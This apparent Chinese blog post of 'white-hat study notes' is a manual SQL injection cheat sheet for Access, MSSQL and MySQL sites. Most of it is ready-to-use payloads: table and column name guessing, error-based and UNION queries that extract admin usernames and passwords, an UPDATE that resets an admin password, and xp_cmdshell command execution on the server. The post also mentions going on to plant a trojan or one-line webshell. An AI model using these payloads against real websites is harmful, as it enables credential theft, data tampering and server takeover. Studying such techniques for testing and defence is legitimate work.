【白帽子学习笔记14】SQL注入常用语句

【白帽子学习笔记14】SQL注入常用语句

目前网站中使用的最多的数据库要算是 ACCESS、SQL Server(MSSQL)、MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 小节,讲述在不同的数据库下不同的注入方法。

1、ACCESS

验证是否有漏洞

  • http://www.xxx.com/xx.asp?id=x and 1=1
  • http://www.xxx.com/xx.asp?id=x and 1=2

判断数据库类型

  • http://www.xxx.com/xx.asp?id=x and user>0
    ACESS数据库返回的数据库错误中一般会含有 “Microsoft JET Database”

猜数据库表名

猜解表名的语句为在注入点后加 上and exists (select * from 表名)或者and exists (select count from 表名)

  • 猜测数据库中有叫做Keter的表,那就输入http://www.xxx.com/xx.asp?id=x and exists (select * from Keter),如果有就返回正常,没有就有返回报错在这里插入图片描述
    一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、 article_admin、administrator、manager、member、memberlist、user、users、userinfo、 user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、 movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin
    等等。

  • 猜完表名就应该猜列名了 http://www.xxx.com/xx.asp?id=x and exists (select admin_name from admin) 把select中的*换成具体的名字即可
    一般常见的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、 admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、 admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、 administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、 userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、 passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook等等。

  • 猜列的长度: http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4

  • 猜第N行的长度:http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x

ASP+ACCESS 的注入攻击,我们得到用户名和密码也就完成了。 如果我们要继续入侵的话,只有进入后台,看能否上传木马或利用一句话木马来得到

2、SQL Server(MSSQL)

确认当前数据库的用户名

  • http://www.xxx.com/xxx.asp?id=xx and user>0
    在这里插入图片描述
    虽然 and user>0 很简单,但却包含了 SQLServer 特有注入方法的精髓。让我们来看看它的含义: 首先,前面的语句是正常的,重点在 and user>0,因为 user 是 SQLServer 的一个内置变量, 它的值是当前连接的用户名,类型为 nvarchar。而这里我们拿一个 nvarchar 的值跟 int 的数的 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转的过程中肯定会出错, SQLServer 的出错提示是:将 nvarchar 值“abc” 转换数据类型为 int 的列时发生语法错 误,呵呵,abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。还有 在我们的 SQLServer 数据库里的用户 sa 是个等同 Adminstrators 权限的角色,拿到了 sa 权限,几乎肯定可以拿到主机的 Administrator 了。而我们上面的方法可以很方便的测试 出是否是用 sa 登录,如果是 sa 登录那么返回的错误提示是将”dbo”转换成 int 的列发生错误,而不是”sa”

获取用户的数据信息

  • 暴当前表中的列:http://www.xxx.com/xxx.asp?id=xx having 1=1--
  • 暴任意表名和 列名的方法:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1。其中N就是代表数据库中的第N个表
  • 暴任意表中的任意列:and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1
  • 暴出数据库中的数据:and (select top 1 列名 from 表名 where id=N)>1

url中带的是字符怎么办?

  • http://www.xxx.com/xxx.asp?action=value' and 1=1

修改数据库中的数据

  • ;update 表名 set 列名='内容' where 条件 比如 http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where user name= 'Keter'

获取数据库名和数据库版本和权限

  • 获取数据库版本:and (sel ect @@versi on)>0
  • 获取数据库名:and db_name()>0
  • 获取数据库权限:http://www.xxx.com/xxx.asp?id=xx and db_name()>0
  • 获取数据是否支持多句查询:http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0

MSSQL的扩展功能

  • 查看服务器C盘的目录:;exec master..xp_cmd shell 'dir c:\'(XP系统)

3、MYSQL

PHP 与 MySQL 是黄金组合,下面就以他们来作为 MySQL 注入的平台吧

数据库版本

在 MySQL 版本 4(包括版本4)及以上版本新增了一个联合查询查询(UNION)的功能, 比如 SQL 语句 1 UNION SQL 语句 2,提交之后我们的 SQL 语句 1 和 SQL 语句 2 都会被执行, 通过联合查询这个字面意思也是可以理解的。正是这个功能使得 MySQL 发生 SQL 注入漏洞的 危险性大大的得到提高,利用它我们可以轻易的获取数据库中其他数据表的信息。而在版本 4 以下,确不支持这个功能,而且由于 PHP 中的 mysql_query 函数限制了只能查询一个 SQL 语句,即使你使用分号把多个 SQL 语句组合到一起嵌入 mysql_query 函数,实际上也只有第 一个 SQL 语句被提交给 MySQL,所以那个时候 MySQL 的注入并不是特别的严重,而如今确变了。

  • and ord(mid(version(),1,1))>51/* 返回正常版本大于4.0 ,返回错误版本小于4.0。

  • /*!...*/,如果返回页面是错误的话那几乎可以确定网站后台数据库为 MySQL 了,然后我们还可以进一步确认具体的版本,/*!30000%20s*/(判断版本是否小于3.0)其他的类似

  • 确认字段数目:

    • 方法1:UNION ,要求前面的 SQL 语句 1 和后面的 SQL 语句 2 中的字段数要相同,否则就会出错。我们可以提交 union select 1,1,1,1 及其类似的语句。通过不断的增 加 1 的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。
    • 方法2:order by 利用 order by 后加数字,MySQL 会解释成按照第几列排序,如果查询没有我们提交的数字的那么多页就会返回错误。
  • 获取当前数据库的表名:union select 字段数 from 表名 ,中间的字段数大家要注意了,它是这样表示的:假如 有三个字段,那么就应该这样:1,2,3。当然了这还是猜解表名。

  • 查询用户名和密码:union select 1,password from admin union select 1,username from admin 当然你可以加上where id = *

  • 判断是否是root权限:and ord(mid(user(),1,1))=114/*,正常的就是root权限

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值